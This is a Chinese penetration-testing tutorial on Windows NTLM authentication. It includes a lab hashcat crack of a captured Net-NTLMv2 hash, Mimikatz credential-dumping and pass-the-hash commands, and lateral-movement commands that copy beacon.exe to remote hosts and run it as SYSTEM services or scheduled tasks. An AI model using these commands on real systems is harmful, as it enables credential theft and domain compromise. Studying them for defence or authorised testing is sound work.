windows认证机制_NTLM

2023-10-12 03:20
文章标签 windows 认证 机制 ntlm

本文主要是介绍windows认证机制_NTLM,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

      • 概念
      • 本地认证 NTLM
      • LM
      • NTML
      • 原理
      • 网络认证 Net NTLM
      • 实际测试
      • 利用
        • hash传递浏览上传⽂件
        • 使用 mimikatz
      • hash传递获取域控RDP
      • mimikatz工具使用案例

概念

原文参考:xiu --》http://www.xiusafe.com/

域渗透就是基于 windows 域环境的渗透,而域渗透涉及到的技术,如哈希传递(PTH)票据传递(PTT)委派攻击等,都是基于域环境下的认证机制来实现的,这也是为什么要了解 Windows 认证机制的原因之一

Windows 的认证包括三个部分,用户直接操作计算机登陆账户(本地认证),远程连接到工作组中的某个设备(网络认证),登陆到域环境中的某个设备(域认证)
早期SMB协议铭⽂在⽹络上传输数据,后来诞⽣了LM验证机制,LM机制由于过于简
单,微软提出了WindowsNT挑战/响应机制,这就是NTLM

本地认证 NTLM

本地认证十分简单:用户输入密码,系统收到密码后将用户输入的密码计算成 NTLM Hash,然后与 sam 数据库(% SystemRoot%\system32\config\sam)中该用户的哈希比对,匹配则登陆成功,不匹配则登陆失败

NTLM 哈希是一种单向哈希算法,Windows 将用户的密码计算成 NTLM 哈希之后才存储在电脑中

大致的运算流程为:

用户密码->HEX编码->Unicode编码->MD4

LM

在这里插入图片描述

NTML

在这里插入图片描述

本地认证中用来处理用户输入密码的进程即 lsass.exe, 密码会在这个进程中明文保存,供该进程将密码计算成 NTLM Hash
与 sam 进行比对

在渗透测试中,通常可从 Windows 系统中的 SAM 文件和域控的 NTDS.dit 文件中获得所有用户的 hash,通过 Mimikatz 读取 lsass.exe 进程能获得已登录用户的 NTLM hash

原理

哈希传递是能够在不需要账号明⽂密码的情况下完成认证的⼀个技术,⽐如NTLM
Hash、 LM Hash都不需要明⽂密码因此都可以被称为Hash传递攻击。
NTLM验证靠HASH值
1.获得⼀台域主机的权限
2.Dump内存获得⽤⼾hash
3.通过pass the hash尝试登录其他主机
4.继续搜集hash并尝试远程登录
5.直到获得域管理员账⼾hash,登录域控,最终成功控制整个域

1、client发送账户名user到server
2、server判断本地账户名是否存在,没有则失败,有的话生成challenge,查找user
对应的NTLM哈希,使用哈希加密challenge,生成一个net-ntlm hash存在内存中,将
challenge发送给client
3、client接受到challenge以后,将自己的密码转换成NTLM哈希,用生成的哈希加密
challenge生成response,发送response给server
4、server对比自己内存中的net-ntlm hash与client发来的response是否一致
注意:challenge每次认证都不一样,是一个随机生成的16字节随机数,response的形
势与server生成的net-ntlm hash一个格式

通过认证流程我们不难看出,只要有NTLM哈希在⼿,哪怕不知道明⽂密码也可以完
成NTLM的认证

网络认证 Net NTLM

网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制
Net NTLM 的认证过程分为三步,也叫挑战响应机制:
1 协商
2质询
3 验证
协商:双方确定使用的协议版本,在 NTLM 认证中,NTLM 响应分为 NTLM v1,NTLMv2,NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法

所以也就存在不同协议的 Net-NTLM hash,即 Net-NTLM v1 hash,Net-NTLM v2 hash
质询:挑战(Chalenge)/ 响应(Response)认证机制的核

  1. 客户端向服务器端发送用户信息 (用户名) 请求
  1. 服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如果有,生成一个 16 位的随机数,被称之为 “Challenge”, 然后使用登录用户名对应的 NTLM Hash 加密 Challenge (16 位随机字符), 生成 Challenge1 保存在内存中。同时,生成 Challenge1 后,将 Challenge (16 位随机字符) 发送给客户端。
  1. 客户端接受到 Challenge 后,使用自己提供的账户的密码转换成对应的 NTLM Hash,然后使用这个 NTLM Hash 加密 Challenge 生成 Response,然后将 Response 发送至服务器端。

验证:在质询完成后,验证结果,是认证的最后一步。
在这里插入图片描述

在这里插入图片描述

服务端收到客户端发送的 Response 后,与之前保存在内存中的 Challenge 比较,如果相等认证通过

其中,经过 NTLM Hash 加密 Challenge 的结果在网络协议中称之为 Net NTLM Hash(不能直接用来进行哈希传递攻击,但可以通过暴力破解来获取明文密码)

实际测试

远程机器:192.168.217.129
用户名:administrator
密码:hongrisec@2020
本地:192.168.217.1

在这里插入图片描述
抓包发现前 4 个包是协商协议版本,从 smb 转为 smbv2
在这里插入图片描述
本地发送质询包,远程机器响应携带 Ntlm Server Challenge 为

8f69a97378430a53

在这里插入图片描述
查看本地发送的第二个质询包,加密后的 challenge 为

0822a40326fd8eab

在这里插入图片描述
Response 数据为

fafc5895fbeff4fb303acf5c74b1424d01010000000000006727da877d95d6010822a40326fd8eab000000000200060047004f00440001000800530054005500310004000e0067006f0064002e006f00720067000300180073007400750031002e0067006f0064002e006f007200670005000e0067006f0064002e006f0072006700070008006727da877d95d60106000400020000000800300030000000000000000100000000200000bebc059df5e1e64f315030ef88a55e04436ab8b916550a10918f2f854dc9144b0a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200310037002e003100320039000000000000000000

下面,使用 Hashcat 对该 Net-NTLM hash 进行破解
NTLMv2 的格式为:

username::domain:challenge:HMAC-MD5:blob注:challenge为NTLM Server Challenge,domian由数据包内容获得(IP或者机器名)HMAC-MD5对应数据包中的NTProofStr

构造的数据如下:

administrator::god.org:8f69a97378430a53:fafc5895fbeff4fb303acf5c74b1424d:01010000000000006727da877d95d6010822a40326fd8eab000000000200060047004f00440001000800530054005500310004000e0067006f0064002e006f00720067000300180073007400750031002e0067006f0064002e006f007200670005000e0067006f0064002e006f0072006700070008006727da877d95d60106000400020000000800300030000000000000000100000000200000bebc059df5e1e64f315030ef88a55e04436ab8b916550a10918f2f854dc9144b0a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200310037002e003100320039000000000000000000新建字典添加 hongrisec@2020Hashcat 参数如下:```bash
hashcat -m 5600 administrator::god.org:8f69a97378430a53:fafc5895fbeff4fb303acf5c74b1424d:01010000000000006727da877d95d6010822a40326fd8eab000000000200060047004f00440001000800530054005500310004000e0067006f0064002e006f00720067000300180073007400750031002e0067006f0064002e006f007200670005000e0067006f0064002e006f0072006700070008006727da877d95d60106000400020000000800300030000000000000000100000000200000bebc059df5e1e64f315030ef88a55e04436ab8b916550a10918f2f854dc9144b0a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200310037002e003100320039000000000000000000 password.list -o result.txt --force

说明:

-m:hash-type,5600 对应 NetNTLMv2,详细参数可查表:https://hashcat.net/wiki/doku.php?-o:输出文件 字典文件为 password.list–force 代表强制执行,测试系统不支持 Intel OpenCL成功破解出登录的明文密码,输出如下图

在这里插入图片描述
成功破解出密码 hongrisec@2020

工作组环境和域环境下 Net NTLM 认证过程因为有 DC(域控制器)的参与流程略有差异,不过不影响进行哈希传递攻击

利用

hash传递浏览上传⽂件

注意:

当域内的⽤⼾想要访问域中的某个服务时,输⼊⽤⼾名和密码访问,本机kerberos服
务会向KDC的AS认证服务发送⼀个AS-REQ认证请求。该请求包中包含: 请求的⽤⼾
名、客⼾端主机名、加密类型 和 Authenticator(⽤⼾NTLM Hash加密的时间戳)以及
⼀些其他信息
在AS-REQ阶段,是⽤⽤⼾密码Hash加密的Authenticator,所以也就造成了hash传
递。我们只需要获取域⽤⼾Hash,同时⽬标机器开放smb服务,就可以进⾏Hash传
递攻击。

使用 mimikatz

注意mimikatz(猕猴桃)容易崩溃,操作过程要快

privilege::debug 提升权限(注:需以管理员权
限运行)
sekurlsa::logonpasswords 获取内存中保存的登录信息# pth指passha要进行传递(test.com)
sekurlsa::pth /user:administrator /domain:域名  /ntlm:4026ebdb8a9805d4a7b341a23077275a 弹出新窗口
dir \\10.10.10.254\c$

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

#sc命令创建计划任务
copy beacon.exe \\10.10.10.254\c$
#sc命令远程创建名为test的服务
sc \\10.10.10.254 create test binpath= "c:\beacon.exe"
#远程查询名为test的服务
sc \\10.10.10.254 query test
#远程启动名为test的服务
sc \\10.10.10.254 start test
#远程删除名为test的服务
sc \\10.10.10.254 delete test
#at命令(计划任务) at命令在早期的Windows系统中⽀持,⽽新版本Windows已经⽤
schtasks命令取代at命令了。
#查看⽬标系统时间
net time \\10.10.10.254
#将本⽬录下的指定⽂件复制到⽬标系统中
copy vps.exe \10.10.10.254\c$
#使⽤at创建计划任务
at \10.10.10.254 14:37 C:\vps.exe
#清除at记录
at \10.10.10.254 做业ID /delete
#使⽤at命令执⾏,将执⾏结果写⼊本地⽂本⽂件,再使⽤type命令查看该⽂件的内容
at \10.10.10.254 17:00:00 cmd.exe /c "ipconfig > C:/1.txt "
#查看⽣成的1.txt⽂件
type \10.10.10.254\C$\1.txt
#schtasks命令(计划任务)
#在⽬标主机10.10.10.254上创建⼀个名为test的计划任务,启动权限为system,启动
时间为每隔⼀⼩时启动⼀次
schtasks /create /s 10.10.10.254 /tn test /sc HOURLY /mo 1 /tr
c:\beacon.exe /ru system /f /U administrator /P 1234.com
其他启动时间参数:
/sc HOURLY 每⼩时启动⼀次
/sc onlogon ⽤户登录时启动
/sc onstart 系统启动时启动
/sc onidle 系统空闲时启动
#查询该test计划任务
schtasks /query /s 10.10.10.254 /U administrator -P 1234.com |
findstr test
#启动该test计划任务
schtasks /run /s 10.10.10.254 /i /tn "test" /U administrator -P
1234.com
#删除该test计划任务
schtasks /delete /s 10.10.10.254 /tn "test" /f /U administrator -P
1234.com

hash传递获取域控RDP

privilege::debug
sekurlsa::pth /user:administrator /domain:xiusafe.com
/ntlm:a803cf45d87009c404eb89df4b1ae94c "/run:mstsc.exe
/restrictedadmin"

在这里插入图片描述0
如果域控这个位置是灰⾊那就不允许这种⽅式登录

mimikatz工具使用案例

此工具没有免杀,关闭所有的杀毒软件
在这里插入图片描述

这篇关于windows认证机制_NTLM的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/192896

相关文章

Windows 系统下 Nginx 的配置步骤详解

《Windows系统下Nginx的配置步骤详解》Nginx是一款功能强大的软件,在互联网领域有广泛应用,简单来说,它就像一个聪明的交通指挥员,能让网站运行得更高效、更稳定,:本文主要介绍W... 目录一、为什么要用 Nginx二、Windows 系统下 Nginx 的配置步骤1. 下载 Nginx2. 解压

windows系统上如何进行maven安装和配置方式

《windows系统上如何进行maven安装和配置方式》:本文主要介绍windows系统上如何进行maven安装和配置方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不... 目录1. Maven 简介2. maven的下载与安装2.1 下载 Maven2.2 Maven安装2.

使用Python实现Windows系统垃圾清理

《使用Python实现Windows系统垃圾清理》Windows自带的磁盘清理工具功能有限,无法深度清理各类垃圾文件,所以本文为大家介绍了如何使用Python+PyQt5开发一个Windows系统垃圾... 目录一、开发背景与工具概述1.1 为什么需要专业清理工具1.2 工具设计理念二、工具核心功能解析2.

Jvm sandbox mock机制的实践过程

《Jvmsandboxmock机制的实践过程》:本文主要介绍Jvmsandboxmock机制的实践过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、背景二、定义一个损坏的钟1、 Springboot工程中创建一个Clock类2、 添加一个Controller

Windows Server 2025 搭建NPS-Radius服务器的步骤

《WindowsServer2025搭建NPS-Radius服务器的步骤》本文主要介绍了通过微软的NPS角色实现一个Radius服务器,身份验证和证书使用微软ADCS、ADDS,具有一定的参考价... 目录简介示意图什么是 802.1X?核心作用802.1X的组成角色工作流程简述802.1X常见应用802.

windows和Linux安装Jmeter与简单使用方式

《windows和Linux安装Jmeter与简单使用方式》:本文主要介绍windows和Linux安装Jmeter与简单使用方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地... 目录Windows和linux安装Jmeter与简单使用一、下载安装包二、JDK安装1.windows设

Dubbo之SPI机制的实现原理和优势分析

《Dubbo之SPI机制的实现原理和优势分析》:本文主要介绍Dubbo之SPI机制的实现原理和优势,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Dubbo中SPI机制的实现原理和优势JDK 中的 SPI 机制解析Dubbo 中的 SPI 机制解析总结Dubbo中

Java 的 Condition 接口与等待通知机制详解

《Java的Condition接口与等待通知机制详解》在Java并发编程里,实现线程间的协作与同步是极为关键的任务,本文将深入探究Condition接口及其背后的等待通知机制,感兴趣的朋友一起看... 目录一、引言二、Condition 接口概述2.1 基本概念2.2 与 Object 类等待通知方法的区别

Python+Tkinter实现Windows Hosts文件编辑管理工具

《Python+Tkinter实现WindowsHosts文件编辑管理工具》在日常开发和网络调试或科学上网场景中,Hosts文件修改是每个开发者都绕不开的必修课,本文将完整解析一个基于Python... 目录一、前言:为什么我们需要专业的Hosts管理工具二、工具核心功能全景图2.1 基础功能模块2.2 进

Python+PyQt5开发一个Windows电脑启动项管理神器

《Python+PyQt5开发一个Windows电脑启动项管理神器》:本文主要介绍如何使用PyQt5开发一款颜值与功能并存的Windows启动项管理工具,不仅能查看/删除现有启动项,还能智能添加新... 目录开篇:为什么我们需要启动项管理工具功能全景图核心技术解析1. Windows注册表操作2. 启动文件